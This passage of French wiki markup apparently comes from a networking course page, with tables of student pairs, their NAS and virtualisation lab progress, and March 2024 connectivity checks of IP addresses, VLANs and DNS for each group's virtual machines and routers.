| b3 || Thomas NAVE &amp;amp; Thibault DUYCK || NAS09 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé et configuré || NAS 090%, ESXi 100%, infra. 100%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || TP terminé (validation Rex) || NAS 100%, ESXi 100%, infra. 100%, exploit. 100%&lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé et configuré || NAS 090%, ESXi 100%, infra. 100%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || configuration NAS jusqu'à NFS, ESXi configurés (ssh OK), vSphere installé et configuré || NAS 100%, ESXi 100%, infra. 100%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé et configuré || NAS 090%, ESXi 100%, infra. 100%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé || NAS 090%, ESXi 100%, infra. 025%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé || NAS 090%, ESXi 100%, infra. 025%, exploit. 000% &lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane KADER-ISSACK &amp;amp; Marion NORMAND || NAS10 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé || NAS 090%, ESXi 100%, infra. 025%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
| b11 || Martin CHAUVELIERE &amp;amp; Taha NEHARI || NAS11 || configuration NAS jusqu'à NFS (permissions ?), ESXi configurés (ssh OK), vSphere installé et configuré || NAS 090%, ESXi 100%, infra. 100%, exploit. 000%&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Etat le vendredi 16/02 !! heure de fin le 16/02&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || 099% (vmdebian2 sans @IPv4) || 13h45&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || 100% || 17h35&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas NAVE &amp;amp; Thibault DUYCK || NAS09 || 100% || 16h00&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || 100% || 13h45&lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || 100% || 16h15&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || 100% || 17h30&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || 100% || 17h20&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || 100% || 17h10 (bonus monôme)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || 095% || &lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane KADER-ISSACK &amp;amp; Marion NORMAND || NAS10 || 100% || 17h40&lt;br /&gt;
|-&lt;br /&gt;
| b11 || Martin CHAUVELIERE &amp;amp; Taha NEHARI || NAS11 || 100% || 16h00&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;architecture avancée&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! Adresse IPv4 routée !! Nom routeur OpenWRT !! Nom MV sur penfret !! Nom MV sur chassiron&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Stéphane Kader Issack &amp;amp; Marion Normand || || &amp;lt;code&amp;gt;g1_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b2 || Louis WIJSMAN &amp;amp; Thomas LEFRANC || || &amp;lt;code&amp;gt;g2_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b3 || Simon CRUCHET &amp;amp; Louis DERYCKERE || || &amp;lt;code&amp;gt;g3_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b4 || Amaury BECQUET &amp;amp; Romain DUHR || || &amp;lt;code&amp;gt;g4_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || || &amp;lt;code&amp;gt;g5_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || || &amp;lt;code&amp;gt;g6_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || || &amp;lt;code&amp;gt;g7_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b8 || Adrien PALIFERRO || || &amp;lt;code&amp;gt;g8_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b9 || Némo CAZIN &amp;amp; Antoine CEGARRA || || &amp;lt;code&amp;gt;g9_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b10 || Thibault DUYCK &amp;amp; Thomas NAVE || || &amp;lt;code&amp;gt;g10_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
| b11 || Taha NEHARI &amp;amp; Martin CHAUVELIERE || || &amp;lt;code&amp;gt;g11_router&amp;lt;/code&amp;gt; || || &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP architecture avancée&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 Internet !! IPv6 Internet&lt;br /&gt;
! Connexion IPv4 Internet&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fefc:6d5d&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 19/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-rduhr || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fea9:2d79&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-ncazin || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0c:3753&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tnave || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe05:3c4c&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g1, g3, g4, g9, g10 &lt;br /&gt;
* CV HS : g2 (nom étrange)&lt;br /&gt;
&lt;br /&gt;
VLANS : aucun&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-acegarra || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed9:960a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tduyck || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe28:c19d&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g2, g3, g9, g10 &lt;br /&gt;
&lt;br /&gt;
VLANS : aucun&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 Internet !! IPv6 Internet&lt;br /&gt;
! Connexion IPv4 Internet&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1_router || Erreur de syntaxe dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (corrigée) || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3_router || Machine non contactable sur SE4 || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4_router || &amp;lt;div style='color: red;'&amp;gt;IPv4 sur Internet : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fefc:6d5d&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7_router || &amp;lt;div style='color: red;'&amp;gt;IPv4 sur Internet : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:217:4fff:fefc:7e2a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe4d:60f3&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:fab&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g1, g2, g5, g6&lt;br /&gt;
* CV HS : g3, g4, g9, g10, g11 (noms non conformes)&lt;br /&gt;
&lt;br /&gt;
VLANS : aucun&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 20/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1mnorman1 || Machine non contactable sur bridgeStudents || || || || &lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-scruchet || Machine non contactable sur bridgeStudents || || || || &lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-rduhr || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fea9:2d79&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-handrian || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.208&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.112&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fee7:783a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-belhasna || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.114&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe41:da85&amp;lt;/div&amp;gt; || &amp;lt;div style='color: orange;'&amp;gt;connexion à Internet en IPv4 possible (en passant par le VLAN50!)&amp;lt;/div&amp;gt; || &amp;lt;div style='color: orange;'&amp;gt;résolution DNS fonctionnelle (idem)&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-ncazin || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0c:3753&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tnave || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.104&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.120&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe05:3c4c&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-mchauvel || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.175&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.122&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed5:a29d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g1, g2, g6, g10, g11.&lt;br /&gt;
* CV sans VLAN : g1, g3, g4, g5, g7, g9.&lt;br /&gt;
&lt;br /&gt;
VLANS :&lt;br /&gt;
* VLAN OK : g6, g10, g11;&lt;br /&gt;
* VLAN à corriger : g2 (non initialisé).&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1skaderis || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-lderycke || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-abecquet || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-crhanim || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.192&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.113&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe28:f8af&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-achaouni || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.115&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fecc:52be&amp;lt;/div&amp;gt; || &amp;lt;div style='color: orange;'&amp;gt;connexion à Internet en IPv4 possible (par VLAN50)&amp;lt;/div&amp;gt; || &amp;lt;div style='color: orange;'&amp;gt;résolution DNS fonctionnelle (idem)&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-acegarra || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed9:960a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tduyck || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.178&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.121&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:e3ff:fe28:c19e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-tnehari || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.240&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.123&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe38:6bca&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g6, g10, g11. &lt;br /&gt;
* CV sans VLAN : g1, g3, g4, g5, g9.&lt;br /&gt;
* CV à corriger : g2 (mauvaises interfaces dans le CV), g7 (vlans non initialisés, mauvais noms de vlans).&lt;br /&gt;
&lt;br /&gt;
VLANS :&lt;br /&gt;
* VLAN OK : g6, g10, g11.&lt;br /&gt;
* VLAN HS : g7 (corriger les noms déjà).&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 Internet !! IPv6 Internet&lt;br /&gt;
! Connexion IPv4 Internet&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:70b&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 2 || g3_router || Machine non contactable sur SE4 || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g4_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fefc:6d5d&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g6_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:4eff:fe8f:72a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || g7_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:217:4fff:fefc:7e2a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g8_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:feeb:3069&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g9_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe4d:60f3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || g10_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:fab&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g11_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe5f:b67b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g1, g6, g7, g8, g9, g10, g11.&lt;br /&gt;
* CV sans VLAN : g3, g4&lt;br /&gt;
* CV à corriger : g2 (ether9 corrigé en ether9.202), g5 (manque le down)&lt;br /&gt;
&lt;br /&gt;
VLANS :&lt;br /&gt;
* VLAN OK : g1, g5, g6, g8, g9, g10, g11.&lt;br /&gt;
* VLAN à corriger : g2 (non initialisé), g7 (non initialisé),&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 22/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1mnorman1 || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-scruchet || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-rduhr || pas d'IPv4 sur le CV || pas d'IPv4 sur VLAN50 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fea9:2d79&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-handrian || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.208&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.112&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fee7:783a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-belhasna || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.114&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe41:da85&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
